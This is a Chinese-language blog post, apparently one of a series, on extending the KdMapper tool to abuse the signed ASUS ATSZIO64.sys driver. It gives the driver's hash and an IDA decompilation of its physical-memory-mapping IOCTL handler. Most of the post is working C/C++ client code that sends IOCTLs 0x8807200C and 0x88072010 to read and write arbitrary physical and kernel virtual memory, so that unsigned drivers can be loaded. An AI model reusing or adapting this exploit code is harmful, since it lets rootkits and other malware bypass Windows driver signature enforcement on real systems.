KdMapper扩展实现之ASUS(ATSZIO64.sys)
1.背景
KdMapper是一个利用intel的驱动漏洞可以无痕的加载未经签名的驱动,本文是利用其它漏洞(参考《【转载】利用签名驱动漏洞加载未签名驱动》)做相应的修改以实现类似功能。需要大家对KdMapper的代码有一定了解。
2.驱动信息
驱动名称 | ATSZIO64.sys |
时间戳 | 541ACA4D |
MD5 | B12D1630FD50B2A21FD91E45D522BA3A |
3.IDA分析
3.1 入口函数:
NTSTATUS __stdcall DriverEntry(_DRIVER_OBJECT* DriverObject, PUNICODE_STRING RegistryPath)
{
DriverObject->DriverUnload = (PDRIVER_UNLOAD)sub_140005A90;
DriverObject->MajorFunction[0] = (PDRIVER_DISPATCH)sub_140005A68;
DriverObject->MajorFunction[2] = (PDRIVER_DISPATCH)sub_140005A68;
DriverObject->MajorFunction[4] = (PDRIVER_DISPATCH)sub_140005A68;
DriverObject->MajorFunction[3] = (PDRIVER_DISPATCH)sub_140005A68;
DriverObject->MajorFunction[14] = (PDRIVER_DISPATCH)sub_140005008;
return sub_140006008(DriverObject);
}
3.2 创建设备和符号链接
NTSTATUS __fastcall sub_140006008(PDRIVER_OBJECT DriverObject)
{
NTSTATUS result; // eax
char* v3; // rdi
_UNICODE_STRING v4; // xmm0
PKEVENT v5; // rax
NTSTATUS v6; // ebx
WCHAR* v7; // rax
const WCHAR* v8; // rbx
__int64 v9; // r8
_UNICODE_STRING DestinationString; // [rsp+40h] [rbp-40h] BYREF
_UNICODE_STRING SymbolicLinkName; // [rsp+50h] [rbp-30h] BYREF
_UNICODE_STRING DeviceName; // [rsp+60h] [rbp-20h] BYREF
_UNICODE_STRING EventName; // [rsp+70h] [rbp-10h] BYREF
PDEVICE_OBJECT DeviceObject; // [rsp+98h] [rbp+18h] BYREF
RtlInitUnicodeString(&DestinationString, aDeviceAtszio);
DeviceName = DestinationString;
result = IoCreateDevice(DriverObject, 0x38u, &DeviceName, 0x8807u, 0, 0, &DeviceObject);
if (result >= 0)
{
DeviceObject->Flags |= 4u;
v3 = (char*)DeviceObject->DeviceExtension;
*(_QWORD*)v3 = DeviceObject;
v4 = DestinationString;
*((_QWORD*)v3 + 6) = 0i64;
*(_UNICODE_STRING*)(v3 + 8) = v4;
RtlInitUnicodeString(&EventName, aBasenamedobjec);
v5 = IoCreateSynchronizationEvent(&EventName, (PHANDLE)v3 + 6);
*((_QWORD*)v3 + 5) = v5;
if (!v5)
{
v6 = -1073741823;
LABEL_7:
IoDeleteDevice(DeviceObject);
return v6;
}
v7 = (WCHAR*)ExAllocatePool(NonPagedPool, 0x16ui64);
v8 = v7;
v9 = -1i64;
*(_QWORD*)v7 = 0i64;
*((_QWORD*)v7 + 1) = 0i64;
*((_DWORD*)v7 + 4) = 0;
v7[10] = 0;
do
++v9;
while (aAtszio[v9]);
memmove(v7, aAtszio, 2 * v9 + 2);
qword_140003110 = (__int64)v8;
RtlInitUnicodeString(&SymbolicLinkName, v8);
*(_UNICODE_STRING*)(v3 + 24) = SymbolicLinkName;
v6 = IoCreateSymbolicLink(&SymbolicLinkName, &DestinationString);
if (v6 < 0)
goto LABEL_7;
result = 0;
}
return result;
}
其中 aDeviceAtszio 和 aAtszio 如下定义:
INIT:0000000140006240 aDeviceAtszio: ; DATA XREF: sub_140006008+1D↑o
INIT:0000000140006240 text "UTF-16LE", '\Device\ATSZIO',0
INIT:000000014000625E align 20h
INIT:0000000140006260 ; WCHAR aBasenamedobjec
INIT:0000000140006260 aBasenamedobjec: ; DATA XREF: sub_140006008+6D↑o
INIT:0000000140006260 text "UTF-16LE", '\BaseNamedObjects\WaitForIoAccess',0
INIT:00000001400062A4 align 10h
INIT:00000001400062B0 aAtszio: ; DATA XREF: sub_140006008+C5↑o
INIT:00000001400062B0 text "UTF-16LE", '\??\ATSZIO',0
INIT:00000001400062C6 align 8
3.3 IRP_MJ_DEVICE_CONTROL
IRP_MJ_DEVICE_CONTROL对应的函数 sub_140005008,其代码如下:
__int64 __fastcall sub_140005008(_DEVICE_OBJECT *pDeviceObject, _IRP *pIrp)
{
......
if ( nControlCode > 0x88072004 )
{
if ( nControlCode == 0x8807200C ) // MapPhysicalMemory--------------------------------------------------------------------
{
pPhysicalMomoryInfo = (ATSZIO_PHYSICAL_MEMORY_INFO *)pIrp->AssociatedIrp.SystemBuffer;
pPhysicalMomoryInfo->MappedBaseAddress = 0i64;
if ( (_DWORD)nInputBufferLength )
{
sub_140005B0C(
(union _LARGE_INTEGER)(pPhysicalMomoryInfo->Offset.QuadPart & 0xFFFFFFFFFFFFF000ui64),
pPhysicalMomoryInfo->ViewSize,
&pAddressMapped,
(void **)&hSection);
pPhysicalMomoryInfo->MappedBaseAddress = (__int64)pAddressMapped;
pPhysicalMomoryInfo->SectionHandle = (__int64)hSection;
pIrp->IoStatus.Information = nOutputBufferLength;
goto LABEL_141;
}
goto LABEL_140;
}
if ( nControlCode != 0x88072010 )
{
......
}
ntStatus = sub_140005C44( // 0x88072010 ----------------------------------------------------------
*((HANDLE *)pIrp->AssociatedIrp.SystemBuffer + 1),
*((void **)pIrp->AssociatedIrp.SystemBuffer + 4));
pIrp->IoStatus.Information = 0i64;
goto LABEL_137;
......
}
其中映射物理内存 ControlCode 为 0x8807200C,取消映射为 0x88072010,相应的函数为 sub_140005B0C 和 sub_140005C44。
3.4 映射物理内存
sub_140005B0C 如下:
// MapPhysicalMemory
NTSTATUS __fastcall sub_140005B0C(union _LARGE_INTEGER Offset, unsigned int nSize, PVOID *pAddressMapped, void **hSection)
{
ULONG_PTR nSizeMapped; // rbx
NTSTATUS result; // eax
SIZE_T v9; // r15
NTSTATUS ntStatus; // eax
void *hSectionMapped; // rcx
NTSTATUS ntStatusReturn; // ebx
NTSTATUS ntStatusMap; // ebx
union _LARGE_INTEGER SectionOffset; // [rsp+58h] [rbp-39h] BYREF
ULONG_PTR ViewSize; // [rsp+60h] [rbp-31h] BYREF
struct _OBJECT_ATTRIBUTES ObjectAttributes; // [rsp+68h] [rbp-29h] BYREF
struct _UNICODE_STRING DestinationString; // [rsp+98h] [rbp+7h] BYREF
PVOID Object; // [rsp+A8h] [rbp+17h] BYREF
PVOID BaseAddress; // [rsp+F8h] [rbp+67h] BYREF
nSizeMapped = nSize;
RtlInitUnicodeString(&DestinationString, L"\\Device\\PhysicalMemory");
ObjectAttributes.RootDirectory = 0i64;
ObjectAttributes.SecurityDescriptor = 0i64;
ObjectAttributes.SecurityQualityOfService = 0i64;
ObjectAttributes.ObjectName = &DestinationString;
ObjectAttributes.Length = 48;
ObjectAttributes.Attributes = 512;
result = ZwOpenSection(hSection, 7u, &ObjectAttributes);
BaseAddress = 0i64;
v9 = (unsigned int)nSizeMapped;
ViewSize = nSizeMapped;
SectionOffset = Offset;
if ( result >= 0 )
{
ntStatus = ObReferenceObjectByHandle(*hSection, 7u, 0i64, 0, &Object, 0i64);
hSectionMapped = *hSection;
ntStatusReturn = ntStatus;
if ( ntStatus >= 0 )
{
ntStatusMap = ZwMapViewOfSection(
hSectionMapped,
(HANDLE)0xFFFFFFFFFFFFFFFFi64,
&BaseAddress,
0i64,
v9,
&SectionOffset,
&ViewSize,
ViewShare,
0,
4u);
ZwClose(*hSection);
result = ntStatusMap;
*pAddressMapped = BaseAddress;
return result;
}
ZwClose(hSectionMapped);
result = ntStatusReturn;
}
*pAddressMapped = 0i64;
return result;
}
其使用的是ZwMapViewOfSection将物理内存映射到进程空间。由于使用了物理内存,在代码过程中会遇到物理页面和虚拟页面不一一对应的问题,问题说明及解决办法见《KdMapper扩展中遇到的相关问题》。
3.5 取消映射物理内存
sub_140005C44 如下:
// UnmapPhysicalMemory
__int64 __fastcall sub_140005C44(HANDLE Handle, void *a2)
{
NTSTATUS ntStatus; // ebx
ntStatus = ZwUnmapViewOfSection((HANDLE)0xFFFFFFFFFFFFFFFFi64, a2);
if ( ntStatus < 0 )
ZwClose(Handle);
return (unsigned int)ntStatus;
}
3.6 ATSZIO_PHYSICAL_MEMORY_INFO结构
00000000 ATSZIO_PHYSICAL_MEMORY_INFO struc ; (sizeof=0x28, mappedto_381)
00000000 Unused0 dq ?
00000008 SectionHandle dq ?
00000010 ViewSize dd ?
00000014 Padding0 dd ?
00000018 Offset _LARGE_INTEGER ?
00000020 MappedBaseAddress dq ?
00000028 ATSZIO_PHYSICAL_MEMORY_INFO ends
4. 代码实现
4.1 .h文件
#pragma warning(push)
#pragma warning(disable:4324) // structure padded due to __declspec(align())
typedef struct DECLSPEC_ALIGN(MEMORY_ALLOCATION_ALIGNMENT)_ATSZIO_PHYSICAL_MEMORY_INFO {
ULONG_PTR Unused0;
HANDLE SectionHandle;
ULONG ViewSize;
ULONG Padding0;
ULARGE_INTEGER Offset;
PVOID MappedBaseAddress;
} ATSZIO_PHYSICAL_MEMORY_INFO, * PATSZIO_PHYSICAL_MEMORY_INFO;
#pragma warning(pop)
#ifndef RtlOffsetToPointer
#define RtlOffsetToPointer(Base, Offset) ((PCHAR)( ((PCHAR)(Base)) + ((ULONG_PTR)(Offset)) ))
#endif
#ifndef RtlPointerToOffset
#define RtlPointerToOffset(Base, Pointer) ((ULONG)( ((PCHAR)(Pointer)) - ((PCHAR)(Base)) ))
#endif
#define ATSZIO_DEVICE_TYPE (DWORD)0x8807
#define ATSZIO_MAP_SECTION_FUNCID (DWORD)0x803
#define ATSZIO_UNMAP_SECTION_FUNCID (DWORD)0x804
#define IOCTL_ATSZIO_MAP_USER_PHYSICAL_MEMORY \
CTL_CODE(ATSZIO_DEVICE_TYPE, ATSZIO_MAP_SECTION_FUNCID, METHOD_BUFFERED, FILE_ANY_ACCESS) //0x8807200C
#define IOCTL_ATSZIO_UNMAP_USER_PHYSICAL_MEMORY \
CTL_CODE(ATSZIO_DEVICE_TYPE, ATSZIO_UNMAP_SECTION_FUNCID, METHOD_BUFFERED, FILE_ANY_ACCESS) //0x88072010
4.2 .c文件
NTSTATUS asus_driver::SuperCallDriverEx(
_In_ HANDLE DeviceHandle,
_In_ ULONG IoControlCode,
_In_ PVOID InputBuffer,
_In_ ULONG InputBufferLength,
_In_opt_ PVOID OutputBuffer,
_In_opt_ ULONG OutputBufferLength,
_Out_opt_ PIO_STATUS_BLOCK IoStatus)
{
IO_STATUS_BLOCK ioStatus;
NTSTATUS ntStatus = NtDeviceIoControlFile(DeviceHandle,
NULL,
NULL,
NULL,
&ioStatus,
IoControlCode,
InputBuffer,
InputBufferLength,
OutputBuffer,
OutputBufferLength);
if (ntStatus == STATUS_PENDING) {
ntStatus = NtWaitForSingleObject(DeviceHandle,
FALSE,
NULL);
}
if (IoStatus)
*IoStatus = ioStatus;
return ntStatus;
}
BOOL asus_driver::SuperCallDriver(
_In_ HANDLE DeviceHandle,
_In_ ULONG IoControlCode,
_In_ PVOID InputBuffer,
_In_ ULONG InputBufferLength,
_In_opt_ PVOID OutputBuffer,
_In_opt_ ULONG OutputBufferLength)
{
BOOL bResult;
IO_STATUS_BLOCK ioStatus;
NTSTATUS ntStatus = SuperCallDriverEx(
DeviceHandle,
IoControlCode,
InputBuffer,
InputBufferLength,
OutputBuffer,
OutputBufferLength,
&ioStatus);
bResult = NT_SUCCESS(ntStatus);
SetLastError(RtlNtStatusToDosError(ntStatus));
return bResult;
}
PVOID asus_driver::SuperMapMemory(
_In_ HANDLE DeviceHandle,
_In_ ULONG_PTR PhysicalAddress,
_In_ ULONG NumberOfBytes,
_Out_ HANDLE* SectionHandle
)
{
ULONG_PTR offset;
ULONG mapSize;
ATSZIO_PHYSICAL_MEMORY_INFO request;
*SectionHandle = NULL;
RtlSecureZeroMemory(&request, sizeof(request));
offset = PhysicalAddress & ~(PAGE_SIZE - 1);
mapSize = (ULONG)(PhysicalAddress - offset) + NumberOfBytes;
request.Offset.QuadPart = offset;
request.ViewSize = mapSize;
if (SuperCallDriver(DeviceHandle,
IOCTL_ATSZIO_MAP_USER_PHYSICAL_MEMORY,
&request,
sizeof(request),
&request,
sizeof(request)))
{
*SectionHandle = request.SectionHandle;
return request.MappedBaseAddress;
}
return NULL;
}
VOID asus_driver::SuperUnmapMemory(
_In_ HANDLE DeviceHandle,
_In_ PVOID SectionToUnmap,
_In_ HANDLE SectionHandle
)
{
ATSZIO_PHYSICAL_MEMORY_INFO request;
RtlSecureZeroMemory(&request, sizeof(request));
request.SectionHandle = SectionHandle;
request.MappedBaseAddress = SectionToUnmap;
SuperCallDriver(DeviceHandle,
IOCTL_ATSZIO_UNMAP_USER_PHYSICAL_MEMORY,
&request,
sizeof(request),
&request,
sizeof(request));
}
BOOL WINAPI asus_driver::SuperReadWritePhysicalMemory(
_In_ HANDLE DeviceHandle,
_In_ ULONG_PTR PhysicalAddress,
_In_reads_bytes_(NumberOfBytes) PVOID Buffer,
_In_ ULONG NumberOfBytes,
_In_ BOOLEAN DoWrite)
{
BOOL bResult = FALSE;
DWORD dwError = ERROR_SUCCESS;
PVOID mappedSection = NULL;
ULONG_PTR offset;
HANDLE sectionHandle = NULL;
//
// Map physical memory section.
//
mappedSection = SuperMapMemory(DeviceHandle,
PhysicalAddress,
NumberOfBytes,
§ionHandle);
if (mappedSection) {
offset = PhysicalAddress - (PhysicalAddress & ~(PAGE_SIZE - 1));
__try {
if (DoWrite) {
RtlCopyMemory(RtlOffsetToPointer(mappedSection, offset), Buffer, NumberOfBytes);
}
else {
RtlCopyMemory(Buffer, RtlOffsetToPointer(mappedSection, offset), NumberOfBytes);
}
bResult = TRUE;
}
__except (EXCEPTION_EXECUTE_HANDLER) {
bResult = FALSE;
dwError = GetExceptionCode();
Log(L"[!] Error AtszioReadWritePhysicalMemory Exception!" << std::endl);
}
//
// Unmap physical memory section.
//
SuperUnmapMemory(DeviceHandle,
mappedSection,
sectionHandle);
}
else {
dwError = GetLastError();
}
SetLastError(dwError);
return bResult;
}
BOOL WINAPI asus_driver::SuperReadPhysicalMemory(
_In_ HANDLE DeviceHandle,
_In_ ULONG_PTR PhysicalAddress,
_In_ PVOID Buffer,
_In_ ULONG NumberOfBytes)
{
return SuperReadWritePhysicalMemory(DeviceHandle,
PhysicalAddress,
Buffer,
NumberOfBytes,
FALSE);
}
BOOL WINAPI asus_driver::SuperWritePhysicalMemory(
_In_ HANDLE DeviceHandle,
_In_ ULONG_PTR PhysicalAddress,
_In_reads_bytes_(NumberOfBytes) PVOID Buffer,
_In_ ULONG NumberOfBytes)
{
return SuperReadWritePhysicalMemory(DeviceHandle,
PhysicalAddress,
Buffer,
NumberOfBytes,
TRUE);
}
BOOL WINAPI asus_driver::SuperWriteKernelVirtualMemory(
_In_ HANDLE DeviceHandle,
_In_ ULONG_PTR Address,
_Out_writes_bytes_(NumberOfBytes) PVOID Buffer,
_In_ ULONG NumberOfBytes)
{
BOOL bResult;
ULONG_PTR physicalAddress = 0;
SetLastError(ERROR_SUCCESS);
bResult = SuperVirtualToPhysical(DeviceHandle,
Address,
&physicalAddress);
if (bResult) {
bResult = SuperReadWritePhysicalMemory(DeviceHandle,
physicalAddress,
Buffer,
NumberOfBytes,
TRUE);
}
return bResult;
}
BOOL WINAPI asus_driver::SuperReadKernelVirtualMemory(
_In_ HANDLE DeviceHandle,
_In_ ULONG_PTR Address,
_Out_writes_bytes_(NumberOfBytes) PVOID Buffer,
_In_ ULONG NumberOfBytes)
{
BOOL bResult;
ULONG_PTR physicalAddress = 0;
SetLastError(ERROR_SUCCESS);
bResult = SuperVirtualToPhysical(DeviceHandle,
Address,
&physicalAddress);
if (bResult) {
bResult = SuperReadWritePhysicalMemory(DeviceHandle,
physicalAddress,
Buffer,
NumberOfBytes,
FALSE);
}
return bResult;
}
其中 SuperReadKernelVirtualMemory 和 SuperWriteKernelVirtualMemory 读写虚拟地址内存页面中的 虚拟地址转物理地址函数 SuperVirtualToPhysical 的实现在《KdMapper扩展实现之虚拟地址转物理地址 》一文中有介绍。
5. 运行效果
Windows 10 21H2环境上运行的效果如下,其中驱动 HelloWorld.sys为未签名的驱动,其详细说明见文章《KdMapper被加载驱动的实现》。